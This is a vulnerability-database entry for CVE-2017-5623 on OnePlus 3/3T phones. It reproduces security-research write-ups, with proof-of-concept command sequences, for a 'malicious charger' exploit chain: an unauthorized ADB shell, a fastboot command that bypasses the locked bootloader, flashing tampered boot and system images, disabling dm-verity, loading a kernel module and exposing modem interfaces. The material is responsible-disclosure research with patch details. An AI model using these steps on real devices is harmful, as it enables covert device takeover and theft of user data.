Vulnerabilities > CVE-2017-5623 - Improper Privilege Management vulnerability in Oneplus Oxygenos
Attack vector
PHYSICAL Attack complexity
LOW Privileges required
LOW Confidentiality impact
HIGH Integrity impact
HIGH Availability impact
HIGH Summary
An issue was discovered in OxygenOS before 4.1.0 on OnePlus 3 and 3T devices. The attacker can change the bootmode of the device by issuing the 'fastboot oem boot_mode {rf/wlan/ftm/normal} command' in contradiction to the threat model of Android where the bootloader MUST NOT allow any security-sensitive operation to be run unless the bootloader is unlocked.
Vulnerable Configurations
| Part | Description | Count |
|---|---|---|
| OS | 4 | |
| Hardware | 2 |
Common Weakness Enumeration (CWE)
Common Attack Pattern Enumeration and Classification (CAPEC)
- Restful Privilege Elevation Rest uses standard HTTP (Get, Put, Delete) style permissions methods, but these are not necessarily correlated generally with back end programs. Strict interpretation of HTTP get methods means that these HTTP Get services should not be used to delete information on the server, but there is no access control mechanism to back up this logic. This means that unless the services are properly ACL'd and the application's service implementation are following these guidelines then an HTTP request can easily execute a delete or update on the server side. The attacker identifies a HTTP Get URL such as http://victimsite/updateOrder, which calls out to a program to update orders on a database or other resource. The URL is not idempotent so the request can be submitted multiple times by the attacker, additionally, the attacker may be able to exploit the URL published as a Get method that actually performs updates (instead of merely retrieving data). This may result in malicious or inadvertent altering of data on the server.
Seebug
bulletinFamily exploit description Last month we [published](/2017/02/08/oneplus3-bootloader-vulns/) [CVE-2017-5626](/vulns/aleph-2017003) (patched in OxygenOS 4.0.2), a vulnerability which allowed attackers to effectively unlock a OnePlus 3/3T device (without a factory reset). Combining this with our also discovered [CVE-2017-5624](/vulns/aleph-2017002) (patched in OxygenOS 4.0.3) enabled a powerful attack against locked devices – persistent highly privileged code execution without any warning to the user and with access to user’s data (after the victim enters his credentials). One caveat from the attacker’s perspective, however, is that it either required physical or an authorized-ADB access to the device. In this blog post we describe a new critical vulnerability [CVE-2017-5622](/vulns/aleph-2017004) in OnePlus 3/3T (OxygenOS 4.0.2 and below), which relaxes the attack prerequisites. Combining it with [CVE-2017-5626](/vulns/aleph-2017003) allows a malicious charger to **own your device if it’s hooked-up while being powered off** (the charger may also just wait until the battery is drained). Adding [CVE-2017-5624](/vulns/aleph-2017002) to the stack of exploited vulnerabilities will also help the attacker to hide the fact that he modified the device’s `system` partition. We had responsibly reported [CVE-2017-5622](/vulns/aleph-2017004) to OnePlus Security that later fixed it in OxygenOS 4.0.3, [released](https://forums.oneplus.net/threads/oxygenos-4-0-3-n-ota-for-oneplus-3.497080/) last month. We would like to thank OnePlus Security for the efficient manner in which they handled this critical security issue. ##### Demos First, before we dive into the technical details, here is a couple of video demonstrations of our PoCs. The first video presents how the ‘charger’ can exploit [CVE-2017-5622](/vulns/aleph-2017004) & [CVE-2017-5626](/vulns/aleph-2017003) for gaining a **root shell, putting SELinux in `permissive` mode, and even executing kernel code**: https://www.youtube.com/embed/tDRPWvYJYfU?rel=0?ecver=1 The second video shows how the ‘charger’ exploits [CVE-2017-5622](/vulns/aleph-2017004) , [CVE-2017-5624](/vulns/aleph-2017002) & [CVE-2017-5626](/vulns/aleph-2017003) for replacing the `system` partition in order to **install a privileged app**. Please note that once the replacement is complete, the victim has no indication that the device has been tampered with: https://www.youtube.com/embed/ZqCzPua0RCA?rel=0?ecver=1 ### Charger Boot Mode ADB Access (CVE-2017-5622) When one connects a powered off OnePlus 3/3T device to a charger, the bootloader will load the platform with the `charger` boot mode (in other words: `ro.bootmode = charger`). The platform of course MUST NOT enable any sensitive USB interfaces because otherwise it could be attacked by malicious chargers, an attack also-known-as [‘Juice-jacking’](https://krebsonsecurity.com/2011/08/beware-of-juice-jacking/). Much to our surprise, when we first connected our powered off OnePlus 3/3T devices, we noticed that we had ADB access: ``` > adb shell android:/ $ id uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:shell:s0 android:/ $ getprop ro.bootmode charger android:/ $ getprop ro.boot.mode charger android:/ $ getprop | grep -i oxygen [ro.oxygen.version]: [4.0.2] android:/ $ ``` Since this does not (and should not!) normally happen when you connect a powered off Android device to a charger, we were quite puzzled. We had two immediate questions in mind: ### Question 1: Why is ADB running? The answer to this question lies within the Android boot process, during which `init` executes several scripts under the `boot` partition. By running `ps`, it can be seen that `init` is the parent of `adbd`: ``` android:/ $ ps -x | grep adb shell 444 1 12324 564 poll_sched 0000000000 S /sbin/adbd (u:2, s:10) android:/ $ ps -x |grep init root 1 0 15828 2496 SyS_epoll_ 0000000000 S /init (u:6, s:102) ``` Thus some `init` script instruction starts `adbd` when the platform runs in the `charger` boot mode. Taking a look at `init.qcom.usb.rc` reveals the following: ``` on charger [...] mkdir /dev/usb-ffs/adb 0770 shell shell mount functionfs adb /dev/usb-ffs/adb uid=2000,gid=2000 write /sys/class/android_usb/android0/f_ffs/aliases adb setprop persist.sys.usb.config adb setprop sys.usb.configfs 0 setprop sys.usb.config adb [...] ``` The `on charger` event is triggered if `ro.bootmode == charger`, as can be seen from Android 7.1.1’s [init.cpp](https://android.googlesource.com/platform/system/core/+/android-7.1.1_r24/init/init.cpp): ``` [...] std::string bootmode = property_get("ro.bootmode"); if (bootmode == 'charger') { am.QueueEventTrigger('charger'); } else { am.QueueEventTrigger("late-init"); } [...] ``` Therefore, the `sys.usb.config` property changes to `adb`, which then instructs `init` to run `adbd`, under `init.usb.rc`: ``` [...] on property:sys.usb.config=adb && property:sys.usb.configfs=0 write /sys/class/android_usb/android0/enable 0 write /sys/class/android_usb/android0/idVendor 2A70 #VENDOR_EDIT Anderson@, 2016/09/21, modify from 18d1 to 2A70 write /sys/class/android_usb/android0/idProduct 4EE7 write /sys/class/android_usb/android0/functions ${sys.usb.config} write /sys/class/android_usb/android0/enable 1 start adbd setprop sys.usb.state ${sys.usb.config} [...] ``` #### Question 2: Where is the ADB Authorization? In order to protect against malicious USB ports (e.g. malicious chargers) targeting devices with `adbd` enabled, Android has had ADB authorization for quite some time (since Jelly-bean) – any attempt to gain an ADB session with an unauthorized device is now blocked. So what’s different in OnePlus 3/3T? First, let’s take a peek at the AOSP implementation of `adbd`. The `adbd_main` routine reveals that there is some global flag, `auth_required`, that controls the ADB authorization: ``` int adbd_main(int server_port) { [...] if (ALLOW_ADBD_NO_AUTH && property_get_bool("ro.adb.secure", 0) == 0) { auth_required = false; } [...] ``` This flag is then used by the `handle_new_connection` routine: ``` static void handle_new_connection(atransport* t, apacket* p) { [...] if (!auth_required) { handle_online(t); send_connect(t); } else { send_auth_request(t); } [...] } ``` We can thus deduce that if OxygenOS used the stock `adbd`, then `ro.adb.secure` would be `0`, however: ``` android:/ $ getprop ro.adb.secure 1 android:/ $ ``` Therefore, OxygenOS of OnePlus 3/3T contains a customized `adbd`! Since we don’t have the sources, we need to take a look at the binary. Decompiling it with IDA shows: ``` __int64 sub_400994() { [...] if ( !(unsigned __int8)sub_440798("ro.adb.secure", 0LL) ) auth_required_50E088 = 0; getprop("ro.wandrfmode", &v95, &byte_4D735C); if ( !(unsigned int)strcmp(&v95, &a0_1) || !(unsigned int)strcmp(&v95, &a1_1) || !(unsigned int)strcmp(&v95, &a2) ) auth_required_50E088 = 0; getprop("ro.boot.mode", &v94, &byte_4D735C); if ( !(unsigned int)strcmp(&v94, 'charger') ) auth_required_50E088 = 0; [...] } ``` We can clearly see that OnePlus has customized the AOSP `adbd` s.t. `auth_required = 0` when the platform is started in the `charger` bootmode. (_Bonus points_: `ro.wandrfmode` relates to [CVE-2017-5623](/vulns/aleph-2017005) .) ### Exploitation So what can we do with ADB access? First, we should note that although we can gain a shell, we do not have access to user data since the partition is both unmounted and encrypted. What we can do, however, is simply reboot into the `fastboot` mode by issuing `reboot bootloader`, and then replace the `boot` and/or `system` partitions by exploiting [CVE-2017-5626](/vulns/aleph-2017003) ! In order to remove any warning about the `system` partition modification, we may also exploit [CVE-2017-5624](/vulns/aleph-2017002) . It should be noted that if the device’s bootloader happens to be unlocked, then the charger does not even need [CVE-2017-5626](/vulns/aleph-2017003) . As a reminder, [CVE-2017-5626](/vulns/aleph-2017003) (`fastboot oem 4F500301`) allowed one with `fastboot` access to effectively unlock the device, disregarding `OEM Unlocking`, without user confirmation and without erasure of user data (which normally occurs after lock-state changes). Moreover, the device still reports it’s locked after running this command. Exploiting this vulnerability alone allows for kernel code execution albeit with a 5 seconds warning message. [CVE-2017-5624](/vulns/aleph-2017002) allowed the attacker, again with `fastboot` access, to disable `dm-verity`, a feature which protects against tampering with the `system` partition, for example. #### PoC 1: Charger Gains a root shell & Kernel Code Execution (CVE-2017-5622/6) The attack begins when the victim connects a powered off device to the ‘charger’, which gains an ADB session [CVE-2017-5622](/vulns/aleph-2017004) , and reboots the device into `fastboot`: ``` > adb shell android:/ $ id uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:shell:s0 android:/ $ reboot bootloader > fastboot devices cb010b5a fastboot ``` By exploiting [CVE-2017-5626](/vulns/aleph-2017003) the ‘charger’ replaces the `boot` image s.t. `adbd` runs as `root` and SELinux is in `permissive` mode (see the previous blog post): ``` > fastboot flash boot evilboot.img target reported max download size of 440401920 bytes sending 'boot' (14836 KB)... OKAY [ 0.335s] writing 'boot'... FAILED (remote: Partition flashing is not allowed) finished. total time: 0.358s > fastboot oem 4F500301 ... OKAY [ 0.020s] finished. total time: 0.021s > fastboot flash boot evilboot.img target reported max download size of 440401920 bytes sending 'boot' (14836 KB)... OKAY [ 0.342s] writing 'boot'... OKAY [ 0.135s] finished. total time: 0.480s ``` That gives the charger a root shell, even before the user enters his credentials (but without access to user data!): ``` OnePlus3:/ # id uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:su:s0 OnePlus3:/ # getenforce Permissive ``` The OnePlus 3/3T kernel is compiled with LKM enabled, so running kernel code does not even require patching / recompiling the kernel. So I created a tiny kernel module: ``` #include <linux/module.h> #include <linux/kdb.h> int init_module(void) { printk(KERN_ALERT "Hello From Evil LKM\n"); return 1; } ``` The charger can then load it into the kernel: ``` OnePlus3:/data/local/tmp # insmod ./evil.ko OnePlus3:/data/local/tmp # dmesg | grep "Evil LKM" [19700121_21:09:58.970409]@3 Hello From Evil LKM ``` #### PoC 2: Charger Replaces the system Partition (CVE-2017-5622/4/6) The vulnerabilities can be combined together for code execution in privileged SELinux domains, without any warning to the user and with access to original user data. In order to demonstrate this, I’ve modified the `system` partition, adding a privileged app. This can be done by placing an APK under `/system/priv-app/<APK_DIR>` which will eventually cause it to be added to the [priv_app domain](https://android.googlesource.com/platform/system/sepolicy/+/android-7.1.1_r16/priv_app.te). (Don’t foger to `chcon` your APK and its containing directory!) Again, the attack begins when the victim connects a powered off device to the ‘charger’, which gains an ADB session [CVE-2017-5622](/vulns/aleph-2017004) , and reboots the device into `fastboot`: ``` > adb shell android:/ $ id uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:shell:s0 android:/ $ reboot bootloader > fastboot devices cb010b5a fastboot ``` By exploiting [CVE-2017-5626](/vulns/aleph-2017003) the ‘charger’ can replace the `system` partition with a malicious one: ``` > fastboot flash system evilsystem.img target reported max download size of 440401920 bytes erasing 'system'... FAILED (remote: Partition erase is not allowed) finished. total time: 0.014s > fastboot oem 4F500301 OKAY [ 0.020s] finished. total time: 0.021s > fastboot flash system evilsystem.img target reported max download size of 440401920 bytes erasing 'system'... OKAY [ 0.010s] ... sending sparse 'system' 7/7 (268486 KB)... OKAY [ 6.748s] writing 'system' 7/7... OKAY [ 3.291s] finished. total time: 122.675s ``` By exploiting [CVE-2017-5624](/vulns/aleph-2017002) the ‘charger’ can disable `dm-verity`: ``` > fastboot oem disable_dm_verity ... OKAY [ 0.034s] finished. total time: 0.036s ``` Indeed the app loads with the `priv_app` context: ``` 1|OnePlus3:/ $ getprop | grep dm_verity [ro.boot.enable_dm_verity]: [0] OnePlus3:/ $ ps -Z | grep evilapp u:r:priv_app:s0:c512,c768 u0_a16 4764 2200 1716004 74600 SyS_epoll_ 0000000000 S alephresearch.evilapp ``` ### Patch OnePlus has fixed the vulnerability by simply removing the ` { persist. } sys.usb.config ` related lines under the `on charger` event: ``` on charger #yfb add to salve binder error log in poweroff charge setrlimit 13 40 40 setprop sys.usb.config mass_storage mkdir /dev/usb-ffs 0770 shell shell mkdir /dev/usb-ffs/adb 0770 shell shell mount functionfs adb /dev/usb-ffs/adb uid=2000,gid=2000 write /sys/class/android_usb/android0/f_ffs/aliases adb #14(0xe) means reject cpu1 cpu2 cpu3online write /sys/module/msm_thermal/core_control/cpus_offlined 14 #add by [email protected] 2015/12/22, improve the performance of charging write /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor powersave write /sys/devices/system/cpu/cpu1/online 0 write /sys/devices/system/cpu/cpu2/online 0 write /sys/devices/system/cpu/cpu3/online 0 #yfb add to salve binder error log in poweroff charge start srvmag_charger ``` # OnePlus 2 Last, OnePlus 2 also had the ` { persist } .sys.usb.config ` property set to `adb` under the `on charger` event of init.qcom.usb.rc: ``` on charger mkdir /dev/usb-ffs 0770 shell shell mkdir /dev/usb-ffs/adb 0770 shell shell mount functionfs adb /dev/usb-ffs/adb uid=2000,gid=2000 write /sys/class/android_usb/android0/f_ffs/aliases adb setprop persist.sys.usb.config adb [...] ``` And also under `init.rc`: ``` on charger mount ext4 /dev/block/bootdevice/by-name/system /system ro setprop sys.usb.configfs 0 load_system_props class_start charger setprop sys.usb.config adb ``` Despite that, when we hooked-up our OnePlus 2 device, we didn’t manage to obtain an `adb` shell, although the USB interface was up & running: ``` > adb shell error: device unauthorized. This adb server's $ADB_VENDOR_KEYS is not set Try 'adb kill-server' if that seems wrong. Otherwise check for a confirmation dialog on your device. > adb devices List of devices attached 6b3ef4d5 unauthorized ``` Thus, OnePlus 2 is not vulnerable – in contrast to the OnePlus 3/3T case, the OnePlus 2 OxygenOS image had the ADB authorization left intact. Disassembling its `adbd` binary shows that it indeed does not have the `ro.boot.mode` `auth_required` [bypass](#question-2-where-is-the-adb-authorization). id SSV:92832 last seen 2017-11-19 modified 2017-03-27 published 2017-03-27 reporter Root title OnePlus 3/3T open up an ADB session without authorization (CVE-2017-5622) bulletinFamily exploit description ## Summary A physical attacker (or one with authorized-ADB access, e.g. PC malware) can change the ‘boot mode’ of a locked OnePlus 3/3T device, by rebooting into `fastboot` and issuing the `fastboot oem boot_mode {rf/wlan/ftm/normal}` command. The vulnerability may allow the attacker to elevate his privileges & exfiltrate modem-related information, in contradiction to the fact that locked bootloaders MUST NOT allow any security-sensitive operation to be run. ## Technical Details Similarly to [CVE-2016-8467](/vulns/aleph-2016002) the attacker can change the boot mode of the device by issuing the `fastboot oem boot_mode {rf/wlan/ftm/normal}` command. For example: ``` > fastboot oem boot_mode wlan ... OKAY [ 0.034s] finished. total time: 0.036s ``` Beyond the intended functionalities of the special boot modes (which could be problematic on their own, however, we did not investigate them), such a boot mode change causes the bootloader to load the platform in an non-secure configuration – `adb` access is now available (without requiring host-authorization, albeit `userdata` is unmounted) together with `permissive`-mode SELinux. This can be seen by the output of the `getenforce` command: ``` > adb -d shell OnePlus3:/ $ getenforce Permissive OnePlus3:/ $ ``` With `permissive`-mode SELinux, the attacker could bypass security controls normally enforced by SELinux. For example, we’ve managed to change the USB configuration, so that sensitive USB interfaces are now enabled (e.g. the modem’s `diag` and `AT` interfaces): ``` OnePlus3:/ $ setprop sys.usb.config diag,acm_smd,acm_tty,rmnet_bam,mass_storage,adb OnePlus3:/ $ ``` The command above enables the following USB interfaces:  The `Qualcomm HS-USB MDM Modem` interface is the `AT` interface of the device’s modem: ``` ATI Manufacturer: QUALCOMM INCORPORATED Model: 4112 Revision: MPSS.TH.2.0.c1.9-00078-M8996FAAAANAZM-1.81324.1 1 [Dec 15 2016 20:00:00] SVN: 01 IMEI: [...] +GCAP: +CGSM OK ``` The `Qualcomm HS-USB Diagnostics` interface is the modem’s diagnostics interface, and as explained thoroughly in the [Nexus 6/6P blog post](/2017/01/05/attacking-android-custom-bootmodes/), allows the attacker to modify modem-related configurations, and exfltrate sensitive information. The vulnerability is rated with **Moderate** severity only (as opposed to **High** severity <span class="cve-high" title="Google Nexus 6/6P Custom Boot Modes USB Configs Override">[CVE-2016-8467](/vulns/aleph-2016002)</span>) because after the boot mode change, the platform does not continue with its normal boot process – it will perpetually display a notification to the user (although the victim may notice it too late, if at all):  It should be noted that \[CVE-2016-8467](/vulns/aleph-2016002)\ did not enable ADB nor set SELinux to `permissive` mode. OxygenOS 4.1.0 has mitigated the issue by removing the `fastboot oem boot_mode` command from its bootloader: ``` > fastboot oem boot_mode ... FAILED (remote: unknown command) finished. total time: 0.023s ``` ## Timeline * 19-Mar-17 : Public disclosure. * 16-Mar-17 : Patch available. * 01-Mar-17 : Added as [ALEPH-2017005](/vulns/aleph-2017005) * 29-Jan-17 : [CVE-2017-5623](https://alephsecurity.com/vulns/aleph-2017005) assigned. id SSV:92803 last seen 2017-11-19 modified 2017-03-20 published 2017-03-20 reporter Root title OnePlus 3/3T OxygenOS Unauthorized Boot Mode Changing (CVE-2017-5623)